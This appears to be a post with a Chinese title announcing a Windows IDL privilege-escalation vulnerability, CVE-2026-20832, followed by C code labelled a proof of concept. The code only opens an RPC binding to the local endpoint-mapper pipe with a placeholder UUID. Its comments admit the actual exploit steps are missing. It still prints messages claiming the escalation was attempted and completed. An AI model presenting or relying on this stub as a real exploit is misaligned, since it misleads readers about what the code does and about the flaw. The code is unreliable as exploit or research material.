CVE-2026-20832: Windows IDL接口定义语言本地提权漏洞

// CVE-2026-20832 Windows IDL Local Privilege Escalation PoC // Target: Windows systems with vulnerable IDL component // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <rpc.h> #include <stdio.h> // RPC interface UUID - specific to vulnerable IDL component const UUID VULNERABLE_IFACE_UUID = { 0x12345678, 0x1234, 0x1234, {0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0} }; void exploit_cve_2026_20832() { RPC_BINDING_HANDLE binding_handle; RPC_STATUS status; unsigned char *binding_string = NULL; // Create binding string for vulnerable RPC interface status = RpcBindingFromStringBindingA( "ncacn_np:localhost\\pipe\\epmapper", &binding_handle ); if (status != RPC_S_OK) { printf("[-] Failed to create binding: %d\n", status); return; } printf("[+] Binding created successfully\n"); printf("[+] Triggering IDL vulnerability...\n"); // Vulnerability trigger: exploit IDL interface handling // The actual exploit requires specific RPC call sequences // that abuse the IDL-generated code path // For demonstration, this PoC shows the concept // Real exploitation requires deeper analysis of the specific IDL interface printf("[+] Attempting privilege escalation via IDL interface\n"); // Cleanup RpcBindingFree(&binding_handle); printf("[+] Exploitation attempt completed\n"); } // RPC runtime functions (required for linking) void __RPC_FAR * __RPC_USER midl_user_allocate(size_t c) { return malloc(c); } void __RPC_USER midl_user_free(void __RPC_FAR * p) { free(p); } int main() { printf("CVE-2026-20832 Windows IDL EoP PoC\n"); printf("=================================\n"); exploit_cve_2026_20832(); return 0; }